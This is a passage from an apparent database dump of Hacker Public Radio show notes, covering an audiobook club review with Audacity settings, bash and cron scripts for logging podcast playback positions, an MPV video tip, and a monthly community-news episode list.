sec\r\n</code></pre>\r\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','Nathan Lowell, Audiobooks, SciFi, Space Opera',0,0,1),
(3132,'2020-08-04','Keeping track of where I am',1362,'How I keep track of where I am','<p>This episode covers how I keep track of what I\'m listening to</p>\r\n<p>I almost never produced this podcast as I discovered part way through that I had covered it in my show \"Describing how I listen to podcasts PART 2\" (HPR 2889). I\'m conscious I have a tendency to repeat myself in real life, I think this is because I have such a terrible memory. Despite this I decided to continue with the episode but will go into subject in a bit more detail.</p>\r\n<p>These ideas slowly evolved over time and I think some of them may now be redundant. I think I need to do some tidying.</p>\r\n<p>As I\'ve previously mention I used cordless headphones to listen to my podcasts and audiobooks. The headphones come with base transmitter which was originally plugged into my old Compaq home server. This server was generally turned on when I came home from work and turned off before going to bed. Each night I had to remember which track I was on and where about in the track. I often forgot and had to try and find the place again. This quickly became a tiresome task.</p>\r\n<p>My first solution was to use some bash Kung Fu jiggery pokery to create list of files which I placed in each podcast folder. In the process I learned a bit about using bash commands.</p>\r\n<p>Command used to create index</p>\r\n<pre><code>id3v2 -l *.mp3 | grep &#39;TIT2&#39; | cut -c44- &gt;&gt; readme.txt\r\nid3v2 -l *.mp3 | grep &#39;TIT2&#39; | cut -c44- | egrep &#39;HPR[01][9][7-9]&#39; &gt;&gt; readme.txt\r\nid3v2 -l *.mp3 | grep &#39;TIT2&#39; | cut -c44- | egrep &#39;HPR[1-9]&#39; |less &gt;&gt; readme.txt\r\n========================================================\r\n========================================================</code></pre>\r\n<p>Example output</p>\r\n<pre><code>epr0006.mp3 - dosman                            complete\r\nhpr0010.mp3 - linux boot process, part 1        complete\r\nhpr0012.mp3 - zen virtulization                 complete\r\nhpr0018.mp3 - book review                       complete</code></pre>\r\n<p>The downside of this was that at the end of each night I had to remember to update my file lists recording what I had listened to and what position I was in within the track. From time to time I had to update this list by appending the latest episodes sitting on my server using the previous id3v2 command.</p>\r\n<p>As you can imagine this took up a fair amount of time and became very tiresome, I would sometimes forget to do it this would cause me a headache next time I started listening to my podcasts.</p>\r\n<p>My next solution involved creating a bash script that attempted to persuade my music player moc to find the track I was previously listening to.</p>\r\n<p>The script sometimes worked but it was a bit flaky and didn\'t always work.</p>\r\n<p>My final solution is in multiple parts</p>\r\n<p>The 1st part consists of a bash script and a log file, it\'s a handy way of checking the last podcast episode and last position, this information is recorded to the log file when the front end of moc is exited by hitting Q. Of course this doesn\'t work if mocp closes for any other reason ie if I forgot to hit Q or my Pi crashed.</p>\r\n<p>First script</p>\r\n<pre><code>~/scripts/podcasts\r\n\r\nquick lash up of script created 29/12/12 (DD/MM/YY)\r\nCreated to keep track of last position of listened podcast\r\n\r\nScript displays last 4 lines of logfile &quot;podcasts.txt&quot;\r\nThe four lines consist of a Dashed line separator, the last recorded Track\r\nTitle, last recorded Filename and the last recorded track position.\r\nThe script then pauses and displays a message saying\r\npress any key to continue.\r\nRuns mocp\r\nWhen the frontend of mocp exits\r\nThe script gets the current track filename\r\nIf the result is empty ie no filename then\r\n    exit with error saying (moc was not playing anything)\r\nif not empty\r\n    append a dashed line separator, the current track title, the current\r\n    filename, the current track position to logfile it then display last 4 lines\r\n    of logfile and exits the script\r\n\r\nSo in essence I get a reminder of the track and position I&#39;m listening to\r\nevery time a start or stop the front end of moc\r\n\r\nThe logfile located at /home/pi/scripts/podcast.txt\r\npodcasts.txt as of 4th October 2019 is 168KB in size and currently has 4904\r\nlines as each entry has 4 lines this means it currently contains 1226 entries.</code></pre>\r\n<p>The 2nd script I use runs as a cron job every night at 11.01pm. This script keeps track of all the files copied to the MP3 directory of my raspberry pi, this is where I put my podcasts that I want to listen to. I can then grep the log file to see the latest version of a particular episodes that\'s been copied to my mp3 directory as from time to time I delete the episodes I\'ve listened to before copying new ones in.</p>\r\n<pre><code>~/scripts/update-podcast-episode-log\r\n Below are the comments taken directly from my script\r\nCreated to keep track of the latest podcast episode I&#39;ve\r\nlistened to it does this by logging the contents\r\nof the mp3 directory on the raspberry pi.\r\nThe script checks the logfile exists, then checks the\r\npodcast (mp3) directory exists, it then use the find\r\ncommand to list the files in the mp3 directory and send the  listing to a log\r\nfile, a date stamp is added at the beginning of the listing.\r\nV1 11 July 2015\r\n\r\nLogfile located at /home/pi/files/logs/podcast-episodes.log\r\nAs of the 4th October 2019 the log file is an impressive 688Kb containing\r\na whopping 28,158 lines, the first entry was dated  15th July 2013</code></pre>\r\n<p>The 3rd script is also runs as a cron job every every night at 11.00pm</p>\r\n<pre><code>/home/pi/scripts/update-podcast-position-log\r\nBelow are the comments taken directly from my script\r\nCreated to log current position of current podcast\r\nThe script checks the logfile exists, then checks that mocp  is installed on\r\nthe system it then writes a timestamp, and track position information to\r\na logfile using moc with -Q flag to get current track position, track title\r\n&amp; file name\r\nV1 Created by MrX 11th July 2015\r\n\r\nLogfile located at /home/pi/files/logs/podcast-position.log\r\nSize is 148Kb as of 4th October 2019 currently has a 1495 lines, the first\r\nentry was dated 15th July 2013</code></pre>\r\n<p>Example logfile output</p>\r\n<pre><code>15:09:06:23:01 | 01:12 | Dave Morriss - HPR1811: Life and Times of a Geek part 2 (Hacker Public Radio) | hpr1811.mp3\r\n\r\nYY:MM:DD:HH:MM | Track position (MM:SS) | ID3 track title | Filename</code></pre>\r\n<p>The 4th script is identical to the previous script but is used to update the current audiobook position to a log file, like the previous script it runs as a cron job every night.</p>\r\n<pre><code>/home/pi/scripts/update-audiobook-position-log</code></pre>\r\n<p>The 5th and final script</p>\r\n<pre><code>home/pi/scripts/logs</code></pre>\r\n<p>Was created to easily view podcast and audiobook logs The script first checks that the logfiles exists, then displays the last three lines of my podcasts and audiobooks logs so I can quickly see the most recent episode positions that were stored by the cron jobs at 11pm.</p>\r\n<p>Logs are:-</p>\r\n<pre><code>/home/pi/files/logs/podcast-position.log\r\n/home/pi/files/logs/audiobook-position.log</code></pre>\r\n<h3 id=\"v1-created-by-mrx-13th-july-2015\">V1 Created by MrX 13th July 2015</h3>\r\n<h3 id=\"v2-updated-by-mrx-8th-august-2015\">V2 Updated by MrX 8th August 2015</h3>\r\n<p>This added an option to seach for a string in my episodes position logs to easily find out what the last episode I listened to of a particular book or podcast, the output is piped to less as numerous lines can be returned.</p>\r\n<p>if more than one argument is given then it displays an error and usage message</p>\r\n<h3 id=\"v3-updated-by-mrx-21st-jul-2017\">V3 Updated by MrX 21st Jul 2017</h3>\r\n<p>If a single argument is given now jumps to end of list rather than beginning, this was achieved by using the +G flag with less command.</p>\r\n<p>The script displays contents of logfiles</p>\r\n<pre><code>/home/pi/files/logs/podcast-position.log\r\n/home/pi/files/logs/audiobook-position.log</code></pre>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/logs\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/logs</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/update-podcast-episode-log\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/update-podcast-episode-log</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/update-podcast-position-log\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/update-podcast-position-log</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/index.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/index.html</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/update-audiobook-position-log\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/update-audiobook-position-log</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3132/podcasts\" class=\"uri\">https://hackerpublicradio.org/eps/hpr3132/podcasts</a></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Linux, bash, podcasts, audio, scripts',0,0,1),
(3149,'2020-08-27','HPR AudioBook Club 21  - The Terrible Business of Salmon and Dusk',6342,'The HPR Audiobook Club reviews the audiobook The Terrible Business of Salmon and Dusk by Myke Bartle','<h1 id=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobook-the-terrible-business-of-salmon--dusk-by-myke-bartlett\">In this episode the HPR Audiobook Club discusses the audiobook <a href=\"https://scribl.com/books/P98FB/the-terrible-business-of-salmon-and-dusk\">The Terrible Business of Salmon &amp; Dusk</a> by Myke Bartlett</h1>\r\n<hr />\r\n<h1 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h1>\r\n<hr />\r\n<ul>\r\n<li>The terrible business of trying to listen to this book (technical difficulties abound)</li>\r\n<li>We talk about the audio players we tried to get around the technical difficulties.</li>\r\n<li>This book is a weird world.</li>\r\n<li>The reading performance is great, and the audio quality is good (minus technical difficulties).</li>\r\n<li>The is a clear distinction between characters by the reader using voice and accents.</li>\r\n<li>This pushes the definition of \"magical realism\". Perhaps \"surrealistic\" is a better description.</li>\r\n<li>The world is slightly more interesting than the characters.</li>\r\n</ul>\r\n<h1 id=\"beverage-reviews\">Beverage Reviews</h1>\r\n<hr />\r\n<p>As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li><strong>Thaj:</strong> Water and <a href=\"https://f-droid.org/en/packages/de.ph1b.audiobook/\">Material Player which is now called Voice</a></li>\r\n<li><strong>x1101:</strong> <a href=\"https://www.blacksheepbrewery.com/our-beers/monty-python/holy-grail/\">Monty Python\'s Holy <s>Gr</s>ail - Black Knight\'s Reserve</a></li>\r\n<li><strong>pokey:</strong> <a href=\"https://longtrail.com/age-verification?destination=beers/double-bag%C2%AE\">Long Trail Double Bag Ale</a> and <a href=\"https://racewithrusty.com/\">The Rusty Wallace Formula Experience</a></li>\r\n</ul>\r\n<h1 id=\"things-we-talked-about\">Things We talked about</h1>\r\n<hr />\r\n<ul>\r\n<li>Why are two sticks of chalk important?</li>\r\n<li>Does this end by not ending?</li>\r\n<li>Thaj thinks this is trying too hard to be clever. Both and Thaj and x1101 think Tincture does weird better.</li>\r\n<li>Is the fallen a metaphor for depression?</li>\r\n<li>What is going on with The Albion?</li>\r\n<li>\"There are a <em>LOT</em> of things that can use a little more explanation.\"</li>\r\n<li>Thaj thinks <a href=\"https://en.wikipedia.org/wiki/The_Rainbow_Thief\">The Rainbow Thief</a> and <a href=\"https://en.wikipedia.org/wiki/Adjustment_Team\">Adjustment Team</a> may be inspirations for this story. Pokey raises with Sherlock Holmes and Doctor Who.</li>\r\n<li>Also <a href=\"https://en.wikipedia.org/wiki/Kato_(The_Green_Hornet)\">Kato</a> from The Green Hornet...</li>\r\n<li>We disagree about how the time travel was done.</li>\r\n<li>Nero is the character we all felt the easiest to follow.</li>\r\n</ul>\r\n<h1 id=\"our-next-audiobook\">Our Next Audiobook</h1>\r\n<hr />\r\n<p><a href=\"https://scribl.com/books/P4C82/murder-at-avedon-hill\">Murder at Avedon Hill</a> by P.G. Holyfield</p>\r\n<h1 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club Recording</h1>\r\n<hr />\r\n<p>Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new epsiodes with listener participation.</p>\r\n<h1 id=\"further-recommendations\">Further Recommendations</h1>\r\n<hr />\r\n<ul>\r\n<li>Pokey goes to the races.</li>\r\n<li>Sometimes it\'s just easier to nuke and pave.</li>\r\n<li>New (Old) phones.</li>\r\n<li>Android File Explorers</li>\r\n<li>Audio Book Player Link: <a href=\"https://material-player.en.uptodown.com/android\">https://material-player.en.uptodown.com/android</a></li>\r\n<li>F-Droid link: Audiobook player now renamed Voice <a href=\"https://f-droid.org/en/packages/de.ph1b.audiobook/\">https://f-droid.org/en/packages/de.ph1b.audiobook/</a></li>\r\n</ul>\r\n<h1 id=\"feedback\">Feedback</h1>\r\n<hr />\r\n<p>Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time we record a new episode. Please leave a few words in the episode\'s comment section.</p>\r\n<p>As always; remember to visit the HPR contribution page HPR could really use your <a href=\"https://hackerpublicradio.org/help_out.php\">help</a> right now.</p>\r\n<p>Sincerely, The HPR Audiobook Club</p>\r\n<p><em>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</em></p>\r\n<h1 id=\"our-audio\">Our Audio</h1>\r\n<hr />\r\n<p>This episode was processed using <a href=\"https://audacity.sourceforge.net/\">Audacity</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n<pre><code>    Threshold: -30db\r\n        Noise Floor: -50db\r\n        Ratio: 3:1\r\n        Attack Time: 0.2sec\r\n        Decay Time: 1.0 sec\r\n</code></pre>\r\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','Audiobook, Review, Creative Commons',0,0,1),
(3133,'2020-08-05','Quick tip - Using MPV with Youtube links',124,'I give a quick tip on shortcut keys for watching Youtube or other video sites in MPV','<h3 id=\"idea\">Idea:</h3>\r\n<p>Quickly copy a Youtube or other video site, and open in the MPV media player.</p>\r\n<h4 id=\"plugins\">Plugins:</h4>\r\n<p>Vim Vixen for Firefox<br />\r\n<a href=\"https://addons.mozilla.org/en-US/firefox/addon/vim-vixen\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/vim-vixen</a></p>\r\n<p>Surfingkeys for Chrome/Chromium browser<br />\r\n<a href=\"https://chrome.google.com/webstore/detail/surfingkeys/gfbliohnnapiefjpjlpjnehglfpaknnc?hl=en-US\" class=\"uri\">https://chrome.google.com/webstore/detail/surfingkeys/gfbliohnnapiefjpjlpjnehglfpaknnc?hl=en-US</a></p>\r\n<h4 id=\"script\">Script:</h4>\r\n<pre><code>#!/bin/bash\r\n## mpvurl\r\n\r\nurl=`xsel -o -b`\r\necho $url\r\nmpv $url</code></pre>\r\n<p>Rename <code>/usr/bin/vlc</code> to <code>/usr/bin/vlc.old</code></p>\r\n<p>Copy script to <code>/usr/bin/vlc</code> and <code>chmod +x /usr/bin/vlc</code></p>\r\n<h4 id=\"how-to-use\">How to use:</h4>\r\n<p>Vim Vixen copy is \'y\' Surfingkeys copy is \'yy\'</p>\r\n<p>Shortcut to open copied video url is Shift-Mod-p, with Mod being the windows key</p>\r\n<p>Tested with Gnome3, Xfce and i3</p>\r\n<p>In i3, press Mod+v then Mod+s.</p>\r\n<p>Any video played this way will be stacked under Firefox/Chromium for the rest of your session.</p>\r\n<h4 id=\"config\">Config:</h4>\r\n<p>In ~/.config/i3/config</p>\r\n<pre><code>#Paste url into mpv player\r\nbindsym $mod+Shift+p exec vlc</code></pre>\r\n<h3 id=\"example-screenshots\">Example screenshots:</h3>\r\n<p>Example of stacked Firefox/MPV layout<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3133/img_001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3133/img_001_thumbnail.png\" alt=\"Example of stacked Firefox/MPV layout\" /></a></p>\r\n<p>For Gnome3 the setting can be reached with Mod (Windows key) and Shortcuts<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3133/img_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3133/img_002_thumbnail.png\" alt=\"For Gnome3 the setting can be reached with Mod (Windows key) and Shortcuts\" /></a></p>\r\n<p>And the Default Applications need to be changed<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3133/img_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3133/img_003_thumbnail.png\" alt=\"And the Default Applications need to be changed\" /></a></p>\r\n<p>The setting for Shortcuts in Xfce looks like this<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3133/img_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3133/img_004_thumbnail.png\" alt=\"The setting for Shortcuts in Xfce looks like this\" /></a></p>\r\n',318,0,0,'CC-BY-SA','Video, media, bash, i3, Gnome3, Xfce',0,0,1),
(3416,'2021-09-06','HPR Community News for August 2021',5765,'Ken\'s not available so MrX joins Dave to talk about the shows and comments in August','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3391\" target=\"_blank\">3391</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3391\" target=\"_blank\">HPR Community News for July 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3392\" target=\"_blank\">3392</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3392\" target=\"_blank\">Structured error reporting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3393\" target=\"_blank\">3393</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3393\" target=\"_blank\">We need to talk about XML</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3394\" target=\"_blank\">3394</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-08-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3394\" target=\"_blank\">Be an XML star with xmlstarlet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3395\" target=\"_blank\">3395</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-08-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3395\" target=\"_blank\">Hacking Stories with Reacted: part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3396\" target=\"_blank\">3396</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3396\" target=\"_blank\">Card roles in Magic the Gathering</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3397\" target=\"_blank\">3397</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3397\" target=\"_blank\">What is a PineTime</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3398\" target=\"_blank\">3398</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3398\" target=\"_blank\">Anacron</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=\"_blank\">3399</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-08-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=\"_blank\">Linux Inlaws S01E36: Open Source Licenses</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3400\" target=\"_blank\">3400</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-08-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3400\" target=\"_blank\">Normal Layer Modes: Normal, Dissolve, Color Erase</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3401\" target=\"_blank\">3401</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3401\" target=\"_blank\">Mana hacks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3402\" target=\"_blank\">3402</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3402\" target=\"_blank\">Reading a manifesto: Declaration of Digital Autonomy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3403\" target=\"_blank\">3403</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3403\" target=\"_blank\">Forth on microcontrollers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3404\" target=\"_blank\">3404</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-08-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3404\" target=\"_blank\">Suse 15.3 Leap</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3405\" target=\"_blank\">3405</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-08-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3405\" target=\"_blank\">Hacking Stories with Reacted: part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3406\" target=\"_blank\">3406</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3406\" target=\"_blank\">A study of cards in games</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3407\" target=\"_blank\">3407</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3407\" target=\"_blank\">Software Freedom Podcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3408\" target=\"_blank\">3408</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3408\" target=\"_blank\">Composting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3409\" target=\"_blank\">3409</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-08-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3409\" target=\"_blank\">Linux Inlaws S01E37: All about Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3410\" target=\"_blank\">3410</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-08-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3410\" target=\"_blank\">Operating Systems</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3411\" target=\"_blank\">3411</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3411\" target=\"_blank\">Dominion card game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3412\" target=\"_blank\">3412</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3412\" target=\"_blank\">Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 9 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3323#comments\" target=\"_blank\">hpr3323</a></strong>\n(2021-04-28) \"<em>The alternate Internet you never knew existed</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3323#1\" target=\"_blank\">Comment 1</a>:\nbjb on 2021-08-29:\n\"Interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3331#comments\" target=\"_blank\">hpr3331</a></strong>\n(2021-05-10) \"<em>Audio for Podcasting: Episode 1 - The Microphone</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a 